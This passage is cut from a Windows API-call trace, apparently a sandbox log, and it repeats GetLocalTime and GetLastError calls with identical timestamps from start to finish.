wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.894] GetLastError () returned 0x0 [0024.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.894] GetLastError () returned 0x0 [0024.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.894] GetLastError () returned 0x0 [0024.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.894] GetLastError () returned 0x0 [0024.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.894] GetLastError () returned 0x0 [0024.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.894] GetLastError () returned 0x0 [0024.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.894] GetLastError () returned 0x0 [0024.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.894] GetLastError () returned 0x0 [0024.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.894] GetLastError () returned 0x0 [0024.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.894] GetLastError () returned 0x0 [0024.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.894] GetLastError () returned 0x0 [0024.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.894] GetLastError () returned 0x0 [0024.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.894] GetLastError () returned 0x0 [0024.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.894] GetLastError () returned 0x0 [0024.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.894] GetLastError () returned 0x0 [0024.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.894] GetLastError () returned 0x0 [0024.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.894] GetLastError () returned 0x0 [0024.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.894] GetLastError () returned 0x0 [0024.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.894] GetLastError () returned 0x0 [0024.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.894] GetLastError () returned 0x0 [0024.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.894] GetLastError () returned 0x0 [0024.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.895] GetLastError () returned 0x0 [0024.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.895] GetLastError () returned 0x0 [0024.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.895] GetLastError () returned 0x0 [0024.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.895] GetLastError () returned 0x0 [0024.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.895] GetLastError () returned 0x0 [0024.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.895] GetLastError () returned 0x0 [0024.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.895] GetLastError () returned 0x0 [0024.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.895] GetLastError () returned 0x0 [0024.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.895] GetLastError () returned 0x0 [0024.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.895] GetLastError () returned 0x0 [0024.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.895] GetLastError () returned 0x0 [0024.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.895] GetLastError () returned 0x0 [0024.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.895] GetLastError () returned 0x0 [0024.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.895] GetLastError () returned 0x0 [0024.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.895] GetLastError () returned 0x0 [0024.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.895] GetLastError () returned 0x0 [0024.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.895] GetLastError () returned 0x0 [0024.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.895] GetLastError () returned 0x0 [0024.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.895] GetLastError () returned 0x0 [0024.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.895] GetLastError () returned 0x0 [0024.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.895] GetLastError () returned 0x0 [0024.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.895] GetLastError () returned 0x0 [0024.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.896] GetLastError () returned 0x0 [0024.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.896] GetLastError () returned 0x0 [0024.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.896] GetLastError () returned 0x0 [0024.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.896] GetLastError () returned 0x0 [0024.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.896] GetLastError () returned 0x0 [0024.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.896] GetLastError () returned 0x0 [0024.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.896] GetLastError () returned 0x0 [0024.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.896] GetLastError () returned 0x0 [0024.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.896] GetLastError () returned 0x0 [0024.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.896] GetLastError () returned 0x0 [0024.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.896] GetLastError () returned 0x0 [0024.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.896] GetLastError () returned 0x0 [0024.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.896] GetLastError () returned 0x0 [0024.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.896] GetLastError () returned 0x0 [0024.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.896] GetLastError () returned 0x0 [0024.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.896] GetLastError () returned 0x0 [0024.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.896] GetLastError () returned 0x0 [0024.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.896] GetLastError () returned 0x0 [0024.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.896] GetLastError () returned 0x0 [0024.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.896] GetLastError () returned 0x0 [0024.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.896] GetLastError () returned 0x0 [0024.896] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.896] GetLastError () returned 0x0 [0024.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.897] GetLastError () returned 0x0 [0024.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.897] GetLastError () returned 0x0 [0024.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.897] GetLastError () returned 0x0 [0024.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.897] GetLastError () returned 0x0 [0024.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.897] GetLastError () returned 0x0 [0024.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.897] GetLastError () returned 0x0 [0024.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.897] GetLastError () returned 0x0 [0024.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.897] GetLastError () returned 0x0 [0024.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.897] GetLastError () returned 0x0 [0024.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.897] GetLastError () returned 0x0 [0024.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.897] GetLastError () returned 0x0 [0024.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.897] GetLastError () returned 0x0 [0024.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.897] GetLastError () returned 0x0 [0024.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.897] GetLastError () returned 0x0 [0024.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.897] GetLastError () returned 0x0 [0024.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.897] GetLastError () returned 0x0 [0024.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.897] GetLastError () returned 0x0 [0024.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.897] GetLastError () returned 0x0 [0024.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.897] GetLastError () returned 0x0 [0024.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.897] GetLastError () returned 0x0 [0024.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.897] GetLastError () returned 0x0 [0024.897] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.897] GetLastError () returned 0x0 [0024.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.898] GetLastError () returned 0x0 [0024.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.898] GetLastError () returned 0x0 [0024.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.898] GetLastError () returned 0x0 [0024.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.898] GetLastError () returned 0x0 [0024.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.898] GetLastError () returned 0x0 [0024.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.898] GetLastError () returned 0x0 [0024.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.898] GetLastError () returned 0x0 [0024.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.898] GetLastError () returned 0x0 [0024.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.898] GetLastError () returned 0x0 [0024.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.898] GetLastError () returned 0x0 [0024.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.898] GetLastError () returned 0x0 [0024.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.898] GetLastError () returned 0x0 [0024.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.898] GetLastError () returned 0x0 [0024.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, 